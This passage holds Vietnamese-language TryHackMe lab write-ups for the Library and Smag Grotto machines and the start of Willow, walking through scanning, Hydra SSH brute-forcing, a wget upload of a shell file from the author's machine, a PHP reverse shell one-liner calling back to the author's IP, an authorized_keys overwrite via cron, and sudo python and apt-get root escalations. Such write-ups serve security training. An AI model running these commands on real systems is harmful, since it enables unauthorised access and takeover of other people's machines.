Reconnaissance
Privilege escalation
Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF TryHackMe | Library
Reconnaissance
Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 7.2 p2 Ubuntu 4 ubuntu2 . 8 ( Ubuntu Linux ; protocol 2.0 )
| ssh - hostkey :
| 2048 c42fc34767063204ef92918e0587d5dc ( RSA )
| 256 689213 ec9479dcbb7702da99bfb69db0 ( ECDSA )
| _ 256 43e824 fcd8b8d3aac248089751dc5b7d ( ED25519 )
80 / tcp open http Apache httpd 2.4 . 18 (( Ubuntu ))
| _http - server - header : Apache / 2.4 . 18 ( Ubuntu )
| _http - title : Welcome to Blog - Library Machine
| http - robots . txt : 1 disallowed entry
| _ /
Service Info : OS : Linux ; CPE : cpe : / o : linux : linux_kernel
Xem qua web với port 80
Tôi có 1 cái tên ở đây meliodas . Khi scan port phía trên tôi cũng có 1 path là robots.txt
Ngay khi nhìn thấy rockyou thì tôi nghĩ ngay đến brute-force (thực ra thì ai cũng nghĩ đến thôi). Tôi sẽ thử brute-force với username meliodas
┌── ( neo ㉿ kali ) - [ ~/ THM - Library ]
└─$ hydra - l meliodas - P / usr / share / seclists / Passwords / Leaked - Databases / rockyou - 70. txt ssh : // 10.10 . 192.105
Hydra v9 . 3 ( c ) 2022 by van Hauser / THC & David Maciejak - Please do not use in military or secret service organizations , or for illegal purposes ( this is non - binding , these *** ignore laws and ethics anyway ).
Hydra ( https : // github . com / vanhauser - thc / thc - hydra ) starting at 2022 - 11 - 04 04 : 33 : 05
[ WARNING ] Many SSH configurations limit the number of parallel tasks , it is recommended to reduce the tasks : use - t 4
[ DATA ] max 16 tasks per 1 server , overall 16 tasks , 42660 login tries ( l : 1 / p : 42660 ), ~ 2667 tries per task
[ DATA ] attacking ssh : // 10.10 . 192.105 : 22 /
[ STATUS ] 128.00 tries / min , 128 tries in 00 : 01 h , 42534 to do in 05 : 33 h , 14 active
[ 22 ][ ssh ] host : 10.10 . 192.105 login : meliodas password : iloveyou1
1 of 1 target successfully completed , 1 valid password found
[ WARNING ] Writing restore file because 3 final worker threads did not complete until end .
[ ERROR ] 3 targets did not resolve or could not be connected
[ ERROR ] 0 target did not complete
Hydra ( https : // github . com / vanhauser - thc / thc - hydra ) finished at 2022 - 11 - 04 04 : 35 : 35
Thử login ssh
┌── ( neo ㉿ kali ) - [ ~/ THM - Library ]
└─$ ssh meliodas @ 10.10 . 192.105
The authenticity of host '10.10.192.105 (10.10.192.105)' can 't be established.
ED25519 key fingerprint is SHA256:Ykgtf0Q1wQcyrBaGkW4BEBf3eK/QPGXnmEMgpaLxmzs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ' 10.10 . 192.105 ' (ED25519) to the list of known hosts.
meliodas@10.10.192.105' s password :
Welcome to Ubuntu 16.04 . 6 LTS ( GNU / Linux 4.4 . 0 - 159 - generic x86_64 )
* Documentation : https : // help . ubuntu . com
* Management : https : // landscape . canonical . com
* Support : https : // ubuntu . com / advantage
Last login : Sat Aug 24 14 : 51 : 01 2019 from 192.168 . 15.118
meliodas @ ubuntu : ~ $ ls
bak . py user . txt
meliodas @ ubuntu : ~ $
Privilege escalation
sudo -l
meliodas @ ubuntu : ~ $ sudo - l
Matching Defaults entries for meliodas on ubuntu :
env_reset , mail_badpass , secure_path =/ usr / local / sbin \: / usr / local / bin \: / usr / sbin \: / usr / bin \: / sbin \: / bin \: / snap / bin
User meliodas may run the following commands on ubuntu :
( ALL ) NOPASSWD : / usr / bin / python * / home / meliodas / bak . py
meliodas @ ubuntu : ~ $
cat bak.py
meliodas @ ubuntu : ~ $ cat bak . py
#!/usr/bin/env python
import os
import zipfile
def zipdir ( path , ziph ):
for root , dirs , files in os . walk ( path ):
for file in files :
ziph . write ( os . path . join ( root , file ))
if __name__ == '__main__' :
zipf = zipfile . ZipFile ( '/var/backups/website.zip' , 'w' , zipfile . ZIP_DEFLATED )
zipdir ( '/var/www/html' , zipf )
zipf . close ()
meliodas @ ubuntu : ~ $
Do file này sở hữu bởi root nên tôi không có quyền sửa file này. Tôi sẽ xóa nó đi và tạo 1 file bak.py khác chưa payload python để leo quyền.
meliodas @ ubuntu : ~ $ rm / home / meliodas / bak . py
meliodas @ ubuntu : ~ $ echo 'import os;os.system("/bin/bash")' > / home / meliodas / bak . py
meliodas @ ubuntu : ~ $ sudo / usr / bin / python / home / meliodas / bak . py
root @ ubuntu : ~ #
root @ ubuntu : ~ # id
uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root )
root @ ubuntu : ~ # ls /root/
root . txt
root @ ubuntu : ~ #
Reconnaissance
Privilege escalation
Xin chào, Lẩu đây. Hôm nay tôi sẽ giải 1 Easy CTF Tryhackme - Smag Grotto
Reconnaissance
Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu.
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 7.2 p2 Ubuntu 4 ubuntu2 . 8 ( Ubuntu Linux ; protocol 2.0 )
| ssh - hostkey :
| 2048 74e0 e1b405856a15687e16daf2c76bee ( RSA )
| 256 bd4362b9a1865136f8c7dff90f638fa3 ( ECDSA )
| _ 256 f9e7da078f10af970b3287c932d71b76 ( ED25519 )
80 / tcp open http Apache httpd 2.4 . 18 (( Ubuntu ))
| _http - server - header : Apache / 2.4 . 18 ( Ubuntu )
| _http - title : Smag
Service Info : OS : Linux ; CPE : cpe : / o : linux : linux_kernel
Ngắm nghía qua web trên port 80, tôi có 1 trang default với nội dung trang web đang được phát triển, quay trở lại sau. Sau khi thử 1 vài path phổ biến thì tôi biết được đây là 1 trang php với “index.php”. Thử dùng dirsearch để tìm web path
[ 22 : 04 : 57 ] 200 - 402 B - / index . php
[ 22 : 04 : 58 ] 200 - 402 B - / index . php / login /
[ 22 : 05 : 07 ] 200 - 2 KB - / mail /
[ 22 : 05 : 08 ] 301 - 311 B - / mail -> http : // 10.10 . 67.154 / mail /
Với path /mail/ tôi có 1 đoạn hội thoại với 3 người qua mail
Tôi có thêm 1 file pcap nữa ở đây, tải nó về và phân tích
Vậy là tôi phải thêm domain vào file hosts và sau đó có thể đăng nhập với username và password.
Tôi cũng không biết command này theo format gì, thử các lệnh của linux hay windows đều không có kết quả.
Khi kiểm tra source web tôi còn phát hiện 1 địa chỉ mail bị ẩn nhưng hiện tại cũng chưa để làm gì
` trodd@smag.thm `
Có thể đây là username nên bị ẩn đi. Tôi không chắc nên sẽ quay lại sau
< a href = "[../aW1wb3J0YW50/dHJhY2Uy.pcap](view-source:http://10.10.67.154/aW1wb3J0YW50/dHJhY2Uy.pcap)" > dHJhY2Uy . pcap </ a >
</ div >
< div class = "card-action" >
< a > To : netadmin @ smag . thm </ a >
< a > Cc : uzi @ smag . thm </ a >
< ! -- < a > Bcc : trodd @ smag . thm </ a > -->
< a > From : jake @ smag . thm </ a >
</ div >
Trước file pcap vừa rồi là 1 path khác, thử truy cập vào path này nhưng cũng chỉ có file pcap. Trong trang default của path /mail có 1 dòng note rằng tôi có thể download các file bằng wget, vậy nên tôi sẽ thử upload shell lên server bằng cách tải nó từ máy local của mình
Tạo local http server
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ python - m http . server
Serving HTTP on 0.0 . 0.0 port 8000 ( http : // 0.0 . 0.0 : 8000 / ) ...
Sau đó nhập câu lệnh vào phần command
wget http://10.18.3.74:8000/shell.php
Quay trở lại local machine tôi thấy file đã được tải lên nhưng không thể tìm được file để mở mặc dù đã thử các url khác nhau, tất nhiên là trước đó tôi đã tạo listener với port 2402: nc -lnvp 2402
Sau 1 lúc suy nghĩ tôi tự hỏi sao không thử luôn shell php trên command này.
php -r '$sock=fsockopen("10.6.0.191",2402);exec("/bin/bash <&3 >&3 2>&3");'
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ nc - lnvp 2402
listening on [ any ] 2402 ...
connect to [ 10.18 . 3.74 ] from ( UNKNOWN ) [ 10.10 . 67.154 ] 49698
id
uid = 33 ( www - data ) gid = 33 ( www - data ) groups = 33 ( www - data )
Vậy là tôi đã quá phức tạp vấn đề lên rồi Config lại shell với python. xem qua file “passwd” thì tôi có 1 user khác với tên jake , sau khi thử các phương pháp đơn giản thì tôi tìm thấy vài thứ hay ho với cronjob
www - data @ smag : / $ cat / etc / crontab
cat / etc / crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL =/ bin / sh
PATH =/ usr / local / sbin : / usr / local / bin : / sbin : / bin : / usr / sbin : / usr / bin
# m h dom mon dow user command
17 * * * * root cd / && run - parts -- report / etc / cron . hourly
25 6 * * * root test - x / usr / sbin / anacron || ( cd / && run - parts -- report / etc / cron . daily )
47 6 * * 7 root test - x / usr / sbin / anacron || ( cd / && run - parts -- report / etc / cron . weekly )
52 6 1 * * root test - x / usr / sbin / anacron || ( cd / && run - parts -- report / etc / cron . monthly )
* * * * * root / bin / cat / opt / . backups / jake_id_rsa . pub . backup > / home / jake / . ssh / authorized_keys
#
www - data @ smag : / $
File public key sẽ được đọc và ghi vào ssh key của jake
www - data @ smag : / $ cat / opt / . backups / jake_id_rsa . pub . backup
cat / opt / . backups / jake_id_rsa . pub . backup
ssh - rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5HGAnm2nNgzDW9OPAZ9dP0tZbvNrIJWa / swbWX1dogZPCFYn8Ys3P7oNPyzXS6ku72pviGs5kQsxNWpPY94bt2zvd1J6tBw5g64ox3BhCG4cUvuI5zEi7y + xnIiTs5 / MoF / gjQ2IdNDdvMs / hDj4wc2x8TFLPlCmR1b / uHydkuvdtw9WzZN1O + Ax3yEkMfB8fO3F7UqN2798wBPpRNNysQ + 59 zIUbV9kJpvARBILjIupikOsTs8FMMp2Um6aSpFKWzt15na0vou0riNXDTgt6WtPYxmtv1AHE4VdD6xFJrM5CGffGbYEQjvJoFX2 + vSOCDEFZw1SjuajykOaEOfheuY96Ao3f41m2Sn7Y9XiDt1UP4 / Ws + kxfpX2mN69 + jsPYmIKY72MSSm27nWG3jRgvPZsFgFyE00ZTP5dtrmoNf0CbzQBriJUa596XEsSOMmcjgoVgQUIr + WYNGWXgpH8G + ipFP / 5 whaJiqPIfPfvEHbT4m5ZsSaXuDmKercFeRDs = kali @ kali
www - data @ smag : / $
Tôi có thể xác thực ssh bằng cách thay đổi public key này thành public key của tôi.
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ cat . ssh / id_rsa . pub
ssh - rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRyZarVKQLIN + BlzvSNzD9mMuF43Vfju / 5 TWxCxz7y67on3Ds / 0 oagsp6H0cDIiuYpyWfc4tAXlT21V + wVSqyzheHoWIFLCdC4aj1jrN + 2 + DYa5cwn56xzkya7jKImTUuE7oePcabooMUyQZlKwNUjjgdaswaTgv5MGbRnWsM6FJnMeir3esFgKy9cipQqLJh / aJP1LZ0YKfJb8vy3 / hO3WdCC3MGir6cnk7Oznc6QkMm7e2Nk9deBLHoQY86BVN5KRbV9HX6rBFaV93MAScjTLsqyUB3YXX05K + parkr7Lx4HUS0ptwWOkKluaAbBPZ /+ nnzirKBFNddW7rW4WsuL4glJDAIM9YJefQmsylPrn / wLOvZikpcLkoYDc1h2dWjG43xO7wWCfyQo3QtercMwfcA + r / qiQpuy + qwXi4nh0XHAxFcDlL2u0aAsf3jvQZk6DKUSHuHL9v5KIwZi6HkotqwRa2 / v7SL0G8I9YKK / WCSzCj8iVIoHLm0YhBy / Zt0 = neo @ kali
┌── ( neo ㉿ kali ) - [ ~ ]
└─$
Đây là public key của tôi, ghi đè nó vào file backup của jake
www - data @ smag : / home $ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRyZarVKQLIN+BlzvSNzD9mMuF43Vfju/5TWxCxz7y67on3Ds/0oagsp6H0cDIiuYpyWfc4tAXlT21V+wVSqyzheHoWIFLCdC4aj1jrN+2+DYa5cwn56xzkya7jKImTUuE7oePcabooMUyQZlKwNUjjgdaswaTgv5MGbRnWsM6FJnMeir3esFgKy9cipQqLJh/aJP1LZ0YKfJb8vy3/hO3WdCC3MGir6cnk7Oznc6QkMm7e2Nk9deBLHoQY86BVN5KRbV9HX6rBFaV93MAScjTLsqyUB3YXX05K+parkr7Lx4HUS0ptwWOkKluaAbBPZ/+nnzirKBFNddW7rW4WsuL4glJDAIM9YJefQmsylPrn/wLOvZikpcLkoYDc1h2dWjG43xO7wWCfyQo3QtercMwfcA+r/qiQpuy+qwXi4nh0XHAxFcDlL2u0aAsf3jvQZk6DKUSHuHL9v5KIwZi6HkotqwRa2/v7SL0G8I9YKK/WCSzCj8iVIoHLm0YhBy/Zt0= neo@kali" > / opt / . backups / jake_id_rsa . pub . backup
www - data @ smag : / home $
Thử login lại ssh
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ ssh jake @ 10.10 . 223.144
Welcome to Ubuntu 16.04 . 6 LTS ( GNU / Linux 4.4 . 0 - 142 - generic x86_64 )
* Documentation : https : // help . ubuntu . com
* Management : https : // landscape . canonical . com
* Support : https : // ubuntu . com / advantage
Last login : Fri Jun 5 10 : 15 : 15 2020
jake @ smag : ~ $ id
uid = 1000 ( jake ) gid = 1000 ( jake ) groups = 1000 ( jake ), 4 ( adm ), 24 ( cdrom ), 30 ( dip ), 46 ( plugdev ), 114 ( lpadmin ), 115 ( sambashare ), 1001 ( netadmin )
jake @ smag : ~ $ ls
user . txt
jake @ smag : ~ $
Privilege escalation
sudo -l
jake @ smag : ~ $ sudo - l
Matching Defaults entries for jake on smag :
env_reset , mail_badpass , secure_path =/ usr / local / sbin \: / usr / local / bin \: / usr / sbin \: / usr / bin \: / sbin \: / bin \: / snap / bin
User jake may run the following commands on smag :
( ALL : ALL ) NOPASSWD : / usr / bin / apt - get
jake @ smag : ~ $
GTFOBins
jake @ smag : ~ $ sudo apt - get update - o APT :: Update :: Pre - Invoke :: =/ bin / sh
# id
uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root )
# ls /root
root . txt
#
Reconnaissance
SSH
Privilege escalation
Xin chào, lại là tôi đây. Hôm nay tôi sẽ giải CTF Tryhackme - Willow
Reconnaissance
Vẫn như thông thường, việc đầu tiên cần làm quét các cổng đang mở trên máy chủ mục tiêu.
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 6.7 p1 Debian 5 ( protocol 2.0 )
| ssh - hostkey :
| 1024 43 : b0 : 87 : cd : e5 : 54 : 09 : b1 : c1 : 1 e : 78 : 65 : d9 : 78 : 5 e : 1 e ( DSA )
| 2048 c2 : 65 : 91 : c8 : 38 : c9 : cc : c7 : f9 : 09 : 20 : 61 : e5 : 54 : bd : cf ( RSA )
| 256 bf : 3 e : 4 b : 3 d : 78 : b6 : 79 : 41 : f4 : 7 d : 90 : 63 : 5 e : fb : 2 a : 40 ( ECDSA )
| _ 256 2 c : c8 : 87 : 4 a : d8 : f6 : 4 c : c3 : 03 : 8 d : 4 c : 09 : 22 : 83 : 66 : 64 ( ED25519 )
80 / tcp open http Apache httpd 2.4 . 10 (( Debian ))
| _http - title : Recovery Page
| _http - server - header : Apache / 2.4 . 10 ( Debian )
111 / tcp open rpcbind 2 - 4 ( RPC #100000)
2049 / tcp open nfs 2 - 4 ( RPC #100003)
Service Info : OS : Linux ; CPE : cpe : / o : linux : linux_kernel
Xem qua web xem có gì đặc biệt không
< html >
< head >
< title > Recovery Page </ title >
< style >
body {
word - wrap : break - word ;
}
</ style >
</ head >
< body >
< p >
4865792057696 c6c6f772c2068657265277320796f7572205353482050726976617465206b6579202d2d20796f75206b6e6f77207768657265207468652064656372797074696f6e206b6579206973210a323336372032333637203233363720323336372032333637203937303920383630302032383633382031383431302031373335203333303239203136313836203238333734203337323438203333303239203236383432203136313836203138343130203233323139203337323438203131333339203836303020333330323920333536373020383630302033313133312032333637203233363720323336372032333637203233363720313434323220323638343220393435302031343630352031393237362032333637203131333339203333303036203336353030203431393820333337383120333330323920313134303520353236372038363030203137333520313736333220313631383620333131333120323638343220313133333920383630302033353733342031343432322033353733342038363030203335363730203233363720313834313020333532343320333734333820313436303520333337383120333330323920333732343820383630302032383337342032333637203232313439203237353832203330373820323336372031373633322039373039203137363332203532363720323735383220383630302032373538322032333732312031313430352031333235362033333938352033373234382031383237382033333938352032373538322032363737352032333732312032363737352032373538322032323134392033303738203330373820393730392031313430352033333938352031383237382031373633322033373234382033373234382033333434332038363030203138323738203138323738203237353832203138333330203133323536203134343232203134343232203238303631203130333836203233323139203130333836203333333920323531313120323230353320323138383920333131333120333338353620333333392031363138362032383036312037343936203134363035203232313439203538353120333532343320313133333920333339383520333532343320323238373220333334343320333338353620333334343320323231343920333338353620383435322031313333392037353638203232303533203232313439203339343720323936303920393730392033353234332035383531203131343035203138313939203133323536203333323135203333393835203735363820333332313520313232343420353434342032323035332031343630352031303338362037343936203333323135203333333920393730392031303338362032313838392038343532203238303631203238333734203834393920313237393220313831393920323031373220313932373620383439392031343432322032323130322031393339362031323234342032383036312032333732312038343532203237353832203538353120313932373620323833373420313232343420323337323120323637373520323833373420313831393920333532343320313332353620323839323720323332313920333532343320333537333420333333392033333231352033333339203232313439203336353030203134363035203231343034203237353832203137333520333532343320323836333820313237393220373439362032373538322032383036312033333835362033333835362032383932372037353638203131333339203337343338203337343338203834353220333037382032383337342032383633382033333339203937303920323839323720323836333820333532343320313932373620333537333420343139382037393134203138323738203836303020333732343820393730392031383139392031393237362032303137322032323134392031343432322035343434203131333339203734393620313237393220323836333820373536382031383139392032393635352033353234332032313838392031383139392031323739322032303137322033313133312032313430342032303137322033373234382033333434332032323035332032313838392031313333392037333538203131333339203231383839203235313131203538353120313736333220323134303420383439392031323234342032373538322032313838392037343936203337343338203337323438203231383839203335373334203333323135203132323434203834393920323332313920313831393920313237393220333131333120333536373020313232343420323836333820333732343820323839323720323833373420313733352034313938203139333936203836303020383630302032373538322031373633322032303137322032333231392032393630392032373538322038343939203236373735203237353832203134343232203133323536203138313939203937303920323936303920313733352038363030203230313732203238363338203735363820323839323720333537333420383630302031383431302033333339203734393620313932373620333037382032323134392032393635352031383237382031383237382031373633322033313133312037353638203331313331203733353820313134303520393435302038343532203232303533203934353020313332353620333338353620373931342038343532203336353030203137363332203733353820333934372033333231352032383633382031313333392031383237382033353733342032383337342032333732312031313333392035343434203239363039203237353832203137363332203333323135203232383732203231383839203138313939203330373820313133333920313736333220353434342033333030362038343532203238333734203333323135203834393920313434323220323833373420333338353620313232343420333536373020323231343920313033383620333635303020323231303220313232343420373536382035343434203131343035203236373735203133323536203131333339203331313331203230313732203239353020373335382031363138362032313838392033333231352033333339203834393920373536382032333231392032323035332033353637302033333030362032393635352032323837322032333732312032333738372033353234332032363834322037353638203236373735203139333936203132323434203139333936203339343720323735383220313033383620373439362032373538322033353733342033333231352035343434203333383536203239363535203230313732203132323434203134363035203235313131203239353020323337383720383439392032383036312033393437203231343034203138313939203331313331203733353820313833333020313434323220323830363120333037382032313838392032323837322032383932372033333938352031333235362033333434332033353733342038343939203337323438203834393920323231303220313832373820313933393620333339383520393435302032363737352032383337342031313333392031343630352033313133312032323837322031323739322032353131312038343939203739313420313834313020323830363120323531313120323332313920383630302033333231352032323134392031313430352033333938352039373039203239353020373335382031373633322032383337342031313333392031383139392038343939203733353820333332313520313232343420323735383220313831393920313436303520323231303220323833373420373335382033393437203236383432203237353832203836303020313831393920383630302031383333302032373538322031383333302032383932372032323035332031343432322032323035332032323035332033333434332033333030362035383531203131333339203335363730203333323135203138313939203231383839203333303036203331313331203237353832203333333920373931342037343936203133323536203236373735203331313331203734393620323637373520333536373020313932373620333934372032333732312033313133312033393437203333303036203336353030203236373735203139333936203132373932203534343420313133333920373335382031373633322037343936203134363035203336353030203238363338203834353220333536373020323138383920323231343920313932373620333338353620373536382034313938203330373820333732343820313232343420333339383520383435322031383333302039373039203733353820393730392031383333302032323130322032353131312037333538203130333836203739313420373335382031343432322033313133312031363138362033303738203236373735203232313439203137333520323138383920393730392031383237382031383431302031383431302032393635352035383531203138313939203236383432203232303533203238333734203139333936203333343433203231383839203232383732203236383432203734393620313133333920383439392032323130322033333938352032383932372035383531203336353030203134363035203238393237203331313331203336353030203236383432203238363338203239363039203238333734203132323434203937303920313733352037333538203337323438203232313032203333393835203233323139203137333520323332313920333536373020333330303620343139382031363138362032393630392032323035332032383036312033373433382037333538203232303533203834353220323638343220313833333020373931342033353637302032363834322031343432322032393635352033303738203538353120383630302032313430342033333231352031363138362035383531203239363535203137363332203237353832203335373334203335363730203233373837203138323738203335363730203232383732203538353120323134303420383435322033333339203230313732203138323738203734393620373335382033363530302031393339362033333030362031373633322031303338362031303338362038343532203238363338203239363039203937303920323230353320333934372032373538322032363737352032313838392032323134392033373234382037343936203138333330203330373820373536382031383139392031323739322037333538203337343338203336353030203336353030203337343338203232313439203138323738203331313331203139333936203232313439203138323738203333323135203339343720333536373020313833333020333536373020313434323220313033383620383435322033353234332033373433382033303738203238393237203139333936203337323438203137333520333339383520323231343920323134303420323936303920323936353520343139382033373433382032383337342033353733342031343630352038363030203137363332203138323738203734393620323836333820393730392034313938203132323434203235313131203834353220383435322032323134392031383333302032333231392031313333392031393339362033353234332032333738372033393437203237353832203232313439203333383536203735363820383630302031383333302033333434332031343630352033333231352031373335203239363039203236373735203337343338203431393820333934372031383139392031383333302033313133312033303738203137363332203336353030203333343433203937303920333536373020383435322031313430352031343432322032383633382035383531203335323433203331313331203130333836203333383536203834353220313134303520333537333420333333392033393437203139323736203238303631203238363338203836303020323337323120393435302032313838392032383633382031383139392032333231392031373335203138313939203231343034203333333920313134303520353835312038363030203232313439203131333339203238333734203138343130203339343720313332353620393435302031313430352032323837322033373433382034313938203538353120313232343420313831393920323230353320393435302031383237382032313838392031383431302031383139392034313938203131333339203232303533203233323139203138343130203333393835203237353832203236383432203232383732203235313131203137363332203431393820313831393920323833373420313933393620313232343420313434323220313232343420333332313520333934372032373538322031323234342032383337342031323234342032323837322038363030203137333520353434342032383337342032323035332031383237382037353638203134363035203834393920323134303420323134303420323337383720333338353620313831393920393435302031313430352033353733342032383337342032303137322032393630392032383036312031303338362031383431302033353234332032383036312032393630392032363737352033393437203333393835203339343720373536382035383531203538353120353434342032313838392033353733342039343530203139333936203238393237203836303020313831393920313436303520313831393920343139382031383237382033313133312033333030362032333231392038343532203333393835203333333920323332313920333338353620333334343320353835312034313938203134343232203138323738203138323738203333303036203834353220323935302031393339362033333231352032303137322033333231352031383431302033333434332033333835362032383337342033313133312033313133312031373335203137333520333734333820333333392033393437203330373820313033383620333934372032323134392034313938203431393820323138383920323735383220313831393920373536382033333339203834393920313436303520373536382032303137322031323234342033333938352031383333302031393237362032393530203139333936203233373837203333323135203734393620333334343320323138383920383630302032393530203333333920323238373220333532343320383630302031393237362032333732312038363030203132323434203138333330203131343035203137333520323134303420353434342033333339203231383839203138343130203134343232203335373334203138313939203836303020323031373220323332313920313733352031383139392032333732312032383633382033313133312032313838392032393630392032373538322037353638203230313732203137363332203333333920313436303520323836333820313232343420313332353620313933393620333332313520323332313920333037382031393237362032303137322032333231392031313333392032383337342033353733342038343939203734393620313232343420313733352033333339203333393835203337343338203339343720323936303920313832373820313232343420373335382032393635352031373335203138323738203337323438203834353220373335382031373335203138323738203734393620333333392033333835362032383036312038343939203131333339203337323438203236383432203233373837203333323135203138343130203232313439203131333339203134343232203937303920383439392032393630392032323134392032353131312033353733342032383337342033333434332032313430342032313838392032383932372033333434332034313938203139323736203335363730203735363820333330303620313232343420373335382032333231392033393437203239363535203230313732203335323433203134363035203834353220323836333820333037382032313838392032393635352033353733342039343530203238393237203238393237203233323139203131343035203335373334203236383432203333303036203131333339203333323135203139333936203335323433203734393620333635303020343139382039373039203538353120323830363120333635303020323833373420313733352034313938203739313420373335382031313430352037333538203239363535203834353220323134303420313133333920313831393920373536382032323134392031343432322032363834322031373633322035383531203335373334203232383732203337343338203937303920383439392038363030203337323438203836303020333732343820333934372038343532203337343338203230313732203836303020323231343920313436303520323238373220383439392037333538203137333520353434342032333738372033333030362031383237382032303137322032393530203230313732203335363730203335323433203330373820323833373420353835312032363737352032323837322034313938203333393835203337343338203239353020323138383920373439362038363030203937303920323031373220323638343220373536382032363834322031373335203238333734203232383732203934353020383630302031383139392035383531203238393237203238303631203131343035203239363039203232303533203232383732203238333734203132373932203134343232203232303533203733353820383630302033333030362032323837322037393134203339343720333732343820323134303420313133333920333532343320313831393920333537333420323337323120373931342033333231352032313838392031383237382033333835362031333235362038363030203134363035203230313732203232313032203131343035203232313439203734393620323936353520393435302034313938203937303920313033383620323735383220323833373420333334343320333333392031323234342033313133312032383932372032353131312032363737352033333231352033333231352033373234382037393134203937303920333532343320333537333420333338353620323238373220333532343320323735383220333338353620313332353620333131333120333338353620333732343820323231303220323833373420313332353620333334343320313832373820333334343320313933393620313434323220313733352032323035332031333235362033373234382033333030362031313430352031393339362032313838392037393134203231343034203337343338203331313331203239363039203231383839203233373231203339343720333339383520313436303520323332313920333333392031323234342038343532203230313732203335373334203134363035203834393920333532343320333333392031373633322033333231352033333938352033303738203333383536203137333520333131333120323830363120323830363120323935302033353733342032333231392037343936203335373334203339343720323735383220323231343920323531313120373536382032323134392032313838392031363138362037343936203134363035203331313331203231343034203238333734203834393920323735383220333734333820333934372037353638203231343034203137363332203834393920373439362031343432322033373234382037333538203233373231203330373820323637373520313332353620333635303020323839323720323936303920383630302032333738372035343434203538353120323138383920333338353620383435322031363138362032393630392032393630392033333434332031383139392031373633322032303137322033353733342034313938203232313032203333383536203937303920323238373220353835312035343434203834353220393435302032393630392034313938203136313836203836303020383630302033333835362032333738372032323837322033373234382032333732312035383531203333333920323238373220323332313920333934372031383237382035343434203233323139203239363535203733353820333635303020323833373420323936353520373439362034313938203232383732203733353820313833333020333131333120313834313020333333392031343432322037333538203231343034203538353120333330303620313033383620373335382032383932372031313430352037353638203333383536203232313032203230313732203337323438203131343035203538353120373439362031323739322033353234332031313333392032333231392031373335203232313439203538353120333536373020313833333020323332313920333732343820373439362035383531203138343130203130333836203235313131203330373820323138383920313033383620323337383720323332313920313033383620333734333820313932373620383435322033353637302033363530302033333339203333333920373536382032323130322033363530302031323234342032383633382035343434203337343338203239363535203733353820393435302031393237362032323035332034313938203333393835203333393835203734393620333332313520323936353520353835312031343432322037333538203138333330203333383536203238333734203236383432203339343720373536382033373234382032393530203236373735203132323434203834393920323935302033363530302033333030362037393134203538353120373335382038343532203934353020323839323720323936353520353835312032333231392033333030362031373335203336353030203233373231203734393620333338353620323230353320313033383620333037382038363030203238363338203232303533203131343035203230313732203333393835203238363338203239353020333333392031323739322031303338362033353733342032333738372033333030362032383337342039373039203137363332203739313420323231303220313932373620323936303920313833333020323134303420333334343320323337383720313832373820383435322033363530302033353733342032383633382032313838392031343432322033393437203231383839203333393835203137333520333734333820333037382031313430352032373538322031383237382033353733342033333030362033393437203739313420333732343820383435322032383337342032323837322033373234382037353638203134363035203239363039203335373334203138323738203937303920323936353520353835312031393339362033353234332033373433382031323234342037353638203739313420323231343920353434342031313430352032393635352031373335203934353020323230353320333532343320323830363120313831393920333532343320313436303520323936303920323531313120323936303920323134303420323031373220323134303420323839323720313332353620323830363120333333392038363030203739313420333934372031373335203139323736203333323135203836303020333338353620313134303520343139382031343432322032323837322031333235362033363530302033333030362033353733342032393635352033373234382033303738203238393237203134363035203133323536203132373932203538353120313133333920313133333920323936353520313833333020353434342033333835362033333434332032323837322032333732312032353131312039343530203733353820313833333020333330303620323231303220323836333820343139382031393237362033333938352039343530203834393920313332353620333037382035343434203131333339203333393835203230313732203138323738203239363535203335373334203331313331203132323434203236383432203337323438203131343035203333343433203139333936203232303533203233323139203336353030203934353020373439362033373234382032313838392033353733342031383237382033333030362033333835362034313938203136313836203131343035203134343232203239353020313832373820323134303420373335382032383036312033333434332031363138362033353733342033373433382031323739322032333732312031383431302032333732312032353131312033333434332037333538203232383732203238333734203330373820333330303620313736333220333536373020333334343320313833333020333635303020313833333020333338353620323638343220323134303420323833373420333734333820323830363120323031373220313736333220333339383520313733352033353733342037333538203333323135203137333520333333392033393437203337343338203132373932203231383839203138333330203337343338203333323135203138323738203339343720333635303020373536382033353637302039373039203331313331203239363039203331313331203139333936203233373837203139323736203834353220333635303020353835312031313430352031343432322031313333392032383932372031383139392033333434332032353131312033313133312031313430352033333339203132323434203534343420333532343320383630302037333538203233373837203337323438203231383839203836303020393435302039343530203132323434203339343720323337383720333734333820333934372033333938352037333538203337323438203834353220323238373220333537333420373335382032383036312031393339362039373039203834353220373931342031313430352032373538322035383531203231343034203235313131203834393920323936303920323231343920343139382031383237382032393630392037333538203132373932203237353832203336353030203431393820333532343320313736333220323936303920323337323120333734333820333934372033353234332031343630352033373433382031323234342031393339362031393237362031343432322032333637203233363720323336372032333637203233363720383630302031373335203335373334203333303239203136313836203238333734203337323438203333303239203236383432203136313836203138343130203233323139203337323438203131333339203836303020333330323920333536373020383630302033313133312032333637203233363720323336372032333637203233363720
</ p >
</ body >
Nhìn qua dãy số dài vô cùng này, đoạn đầu có bao gồm cả chữ cái và số, sau đó chỉ toàn số và có cả những đoạn số lặp lại, tôi sẽ thử tách đoạn có chữ ra để giải mãi.
Đầu tiên tôi xác định điểm cuối của đoạn có chữ. Vì ngay sau chữ a
cuối cùng thì 10 chữ số 3233363720
sẽ được lặp lại, vậy thì có khả năng chữ a
cuối cùng cũng là điểm cuối của đoạn mã này. Sao chép đoạn mã từ đầu đến chữ a
